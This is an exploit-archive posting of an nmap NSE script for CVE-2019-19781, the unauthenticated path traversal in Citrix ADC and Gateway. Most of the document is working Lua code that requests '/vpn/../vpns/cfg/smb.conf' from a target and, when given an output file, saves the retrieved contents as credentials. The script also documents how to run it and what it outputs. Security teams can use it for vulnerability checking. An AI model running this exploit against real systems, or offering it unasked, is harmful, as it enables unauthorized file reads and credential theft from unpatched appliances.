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Citrix ADC / Gateway Path Traversal

Citrix ADC / Gateway Path Traversal
Posted Jan 16, 2020
Authored by Dhiraj Mishra

This is an nmap nse script to test for the path traversal vulnerability in Citrix Application Delivery Controller (ADC) and Gateway.

tags | exploit, file inclusion
advisories | CVE-2019-19781
SHA-256 | 078997b326852f40549231510ea278d6e98e39608b88703f2a45f6a9734b1d28

Citrix ADC / Gateway Path Traversal

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# Exploit Title: Path Traversal in Citrix Application Delivery Controller
(ADC) and Gateway.
# Date: 17-12-2019
# CVE: CVE-2019-19781
# Vulenrability: Path Traversal
# Vulnerablity Discovery: Mikhail Klyuchnikov
# Exploit Author: Dhiraj Mishra
# Vulnerable Version: 10.5, 11.1, 12.0, 12.1, and 13.0
# Vendor Homepage: https://www.citrix.com/
# References: https://support.citrix.com/article/CTX267027
# https://github.com/nmap/nmap/pull/1893

local http = require "http"
local stdnse = require "stdnse"
local shortport = require "shortport"
local table = require "table"
local string = require "string"
local vulns = require "vulns"
local nmap = require "nmap"
local io = require "io"

description = [[
This NSE script checks whether the traget server is vulnerable to
CVE-2019-19781
]]
---
-- @usage
-- nmap --script https-citrix-path-traversal -p <port> <host>
-- nmap --script https-citrix-path-traversal -p <port> <host> --script-args
output='file.txt'
-- @output
-- PORT STATE SERVICE
-- 443/tcp open http
-- | CVE-2019-19781:
-- | Host is vulnerable to CVE-2019-19781
-- @changelog
-- 16-01-2020 - Author: Dhiraj Mishra (@RandomDhiraj)
-- 17-12-2019 - Discovery: Mikhail Klyuchnikov (@__Mn1__)
-- @xmloutput
-- <table key="NMAP-1">
-- <elem key="title">Citrix ADC Path Traversal aka (Shitrix)</elem>
-- <elem key="state">VULNERABLE</elem>
-- <table key="description">
-- <elem>Citrix Application Delivery Controller (ADC) and Gateway 10.5,
11.1, 12.0, 12.1, and 13.0 are vulnerable to a unauthenticated path
-- traversal vulnerability that allows attackers to read configurations or
any other file.
-- </table>
-- <table key="dates">
-- <table key="disclosure">
-- <elem key="year">2019</elem>
-- <elem key="day">17</elem>
-- <elem key="month">12</elem>
-- </table>
-- </table>
-- <elem key="disclosure">17-12-2019</elem>
-- <table key="extra_info">
-- </table>
-- <table key="refs">
-- <elem>https://support.citrix.com/article/CTX267027</elem>
-- <elem>https://nvd.nist.gov/vuln/detail/CVE-2019-19781</elem>
-- </table>
-- </table>

author = "Dhiraj Mishra (@RandomDhiraj)"
Discovery = "Mikhail Klyuchnikov (@__Mn1__)"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive","vuln"}

portrule = shortport.ssl

action = function(host,port)
local outputFile = stdnse.get_script_args(SCRIPT_NAME..".output") or nil
local vuln = {
title = 'Citrix ADC Path Traversal',
state = vulns.STATE.NOT_VULN,
description = [[
Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0,
12.1, and 13.0 are vulnerable
to a unauthenticated path traversal vulnerability that allows attackers to
read configurations or any other file.
]],
references = {
'https://support.citrix.com/article/CTX267027',
'https://nvd.nist.gov/vuln/detail/CVE-2019-19781',
},
dates = {
disclosure = {year = '2019', month = '12', day = '17'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local path = "/vpn/../vpns/cfg/smb.conf"
local response
local output = {}
local success = "Host is vulnerable to CVE-2019-19781"
local fail = "Host is not vulnerable"
local match = "[global]"
local credentials
local citrixADC
response = http.get(host, port.number, path)

if not response.status then
stdnse.print_debug("Request Failed")
return
end
if response.status == 200 then
if string.match(response.body, match) then
stdnse.print_debug("%s: %s GET %s - 200 OK",
SCRIPT_NAME,host.targetname or host.ip, path)
vuln.state = vulns.STATE.VULN
citrixADC = (("Path traversal: https://%s:%d%s"):format(host.targetname
or host.ip,port.number, path))
if outputFile then
credentials = response.body:gsub('%W','.')
vuln.check_results = stdnse.format_output(true, citrixADC)
vuln.extra_info = stdnse.format_output(true, "Credentials are being
stored in the output file")
file = io.open(outputFile, "a")
file:write(credentials, "\n")
else
vuln.check_results = stdnse.format_output(true, citrixADC)
end
end
elseif response.status == 403 then
stdnse.print_debug("%s: %s GET %s - %d", SCRIPT_NAME, host.targetname
or host.ip, path, response.status)
vuln.state = vulns.STATE.NOT_VULN
end

return vuln_report:make_output(vuln)
end
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